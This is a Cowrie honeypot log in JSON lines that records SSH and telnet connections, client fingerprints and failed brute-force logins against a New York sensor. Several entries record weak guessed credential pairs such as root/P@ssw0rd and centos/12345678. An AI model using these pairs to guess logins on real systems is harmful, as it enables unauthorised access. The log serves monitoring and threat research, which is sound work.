{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":41374,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e55109d5555","protocol":"telnet","message":"New connection: 161.97.124.15:41374 (159.203.135.109:23) [session: 2e55109d5555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:46.265872Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43206,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ae8c92b9af","protocol":"ssh","message":"New connection: 176.65.139.103:43206 (10.17.0.5:22) [session: b9ae8c92b9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:46.334713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:46.338468Z","src_ip":"176.65.139.103","session":"b9ae8c92b9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:46.430192Z","src_ip":"176.65.139.103","session":"b9ae8c92b9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:46.917121Z","src_ip":"176.65.139.103","session":"b9ae8c92b9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57872,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8ef6cd0c3eb","protocol":"telnet","message":"New connection: 213.136.75.179:57872 (10.17.0.5:23) [session: b8ef6cd0c3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:47.589399Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:48.036265Z","src_ip":"176.65.139.103","session":"b9ae8c92b9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.454161643981934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:48.076383Z","src_ip":"161.97.124.15","session":"30511ab14c56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74552583694458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:50.047241Z","src_ip":"161.97.124.15","session":"5279d84d548e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782339811325073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:50.079736Z","src_ip":"161.97.124.15","session":"eeec9cf09e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":39330,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fb4b762054e","protocol":"ssh","message":"New connection: 103.176.20.115:39330 (10.17.0.5:22) [session: 5fb4b762054e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:52.746734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:52.750911Z","src_ip":"103.176.20.115","session":"5fb4b762054e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.000726Z","src_ip":"103.176.20.115","session":"5fb4b762054e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38340,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9eb4dee4351","protocol":"ssh","message":"New connection: 176.65.139.103:38340 (10.17.0.5:22) [session: c9eb4dee4351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.244837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.259508Z","src_ip":"176.65.139.103","session":"c9eb4dee4351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.327537Z","src_ip":"176.65.139.103","session":"c9eb4dee4351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33282,"dst_ip":"159.203.135.109","dst_port":22,"session":"aac9e67895a1","protocol":"ssh","message":"New connection: 159.203.92.129:33282 (159.203.135.109:22) [session: aac9e67895a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.387558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.393447Z","src_ip":"159.203.92.129","session":"aac9e67895a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.397490Z","src_ip":"159.203.92.129","session":"aac9e67895a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1","message":"login attempt [ansible/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.406842Z","src_ip":"159.203.92.129","session":"aac9e67895a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":55796,"dst_ip":"159.203.135.109","dst_port":23,"session":"42289b74bff2","protocol":"telnet","message":"New connection: 161.97.124.15:55796 (159.203.135.109:23) [session: 42289b74bff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.546634Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:53.682386Z","src_ip":"176.65.139.103","session":"c9eb4dee4351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"12345678","message":"login attempt [centos/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:54.034833Z","src_ip":"103.176.20.115","session":"5fb4b762054e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:54.411414Z","src_ip":"159.203.92.129","session":"aac9e67895a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:54.803064Z","src_ip":"176.65.139.103","session":"c9eb4dee4351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:55.288258Z","src_ip":"103.176.20.115","session":"5fb4b762054e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.837775230407715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:58.485892Z","src_ip":"213.136.75.179","session":"a61a2097d75e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628509759902954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:59.104867Z","src_ip":"161.97.124.15","session":"136c84cea0d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904982328414917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:59.201947Z","src_ip":"161.97.124.15","session":"6f23b1ebb7e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40966,"dst_ip":"159.203.135.109","dst_port":23,"session":"19dc71e4cec1","protocol":"telnet","message":"New connection: 161.97.124.15:40966 (159.203.135.109:23) [session: 19dc71e4cec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:59.569068Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38354,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5509392b8f","protocol":"ssh","message":"New connection: 176.65.139.103:38354 (10.17.0.5:22) [session: 8f5509392b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:59.986516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:00.011102Z","src_ip":"176.65.139.103","session":"8f5509392b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:00.071558Z","src_ip":"176.65.139.103","session":"8f5509392b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":42486,"dst_ip":"159.203.135.109","dst_port":23,"session":"63703623b1c7","protocol":"telnet","message":"New connection: 161.97.124.15:42486 (159.203.135.109:23) [session: 63703623b1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:00.330173Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":42540,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a4e4bd3cf34","protocol":"telnet","message":"New connection: 161.97.124.15:42540 (159.203.135.109:23) [session: 0a4e4bd3cf34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:00.360252Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:00.449069Z","src_ip":"176.65.139.103","session":"8f5509392b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:01.551927Z","src_ip":"176.65.139.103","session":"8f5509392b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":46926,"dst_ip":"159.203.135.109","dst_port":23,"session":"71478d7e52a5","protocol":"telnet","message":"New connection: 161.97.124.15:46926 (159.203.135.109:23) [session: 71478d7e52a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:02.408878Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":48880,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fa7269fcd89","protocol":"telnet","message":"New connection: 161.97.124.15:48880 (159.203.135.109:23) [session: 2fa7269fcd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:03.370629Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53886,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba9aa1444e2","protocol":"telnet","message":"New connection: 161.97.124.15:53886 (159.203.135.109:23) [session: 3ba9aa1444e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:05.565560Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54830,"dst_ip":"159.203.135.109","dst_port":23,"session":"90ddc972dd36","protocol":"telnet","message":"New connection: 161.97.124.15:54830 (159.203.135.109:23) [session: 90ddc972dd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:06.090775Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52518,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e61cfef3a62","protocol":"ssh","message":"New connection: 176.65.139.103:52518 (10.17.0.5:22) [session: 5e61cfef3a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:06.622546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:06.629297Z","src_ip":"176.65.139.103","session":"5e61cfef3a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":56052,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2bc9c44b50a","protocol":"telnet","message":"New connection: 161.97.124.15:56052 (159.203.135.109:23) [session: f2bc9c44b50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:06.683015Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:06.706699Z","src_ip":"176.65.139.103","session":"5e61cfef3a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:07.059273Z","src_ip":"176.65.139.103","session":"5e61cfef3a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57482,"dst_ip":"159.203.135.109","dst_port":23,"session":"02606862e9ef","protocol":"telnet","message":"New connection: 161.97.124.15:57482 (159.203.135.109:23) [session: 02606862e9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:07.359106Z"}
{"eventid":"cowrie.session.closed","duration":30.77689504623413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:08.063814Z","src_ip":"161.97.124.15","session":"c318227affc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:08.162277Z","src_ip":"176.65.139.103","session":"5e61cfef3a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":59910,"dst_ip":"159.203.135.109","dst_port":23,"session":"db94897772d4","protocol":"telnet","message":"New connection: 161.97.124.15:59910 (159.203.135.109:23) [session: db94897772d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:08.370103Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":35704,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabc05075ac4","protocol":"telnet","message":"New connection: 161.97.124.15:35704 (159.203.135.109:23) [session: aabc05075ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:10.278432Z"}
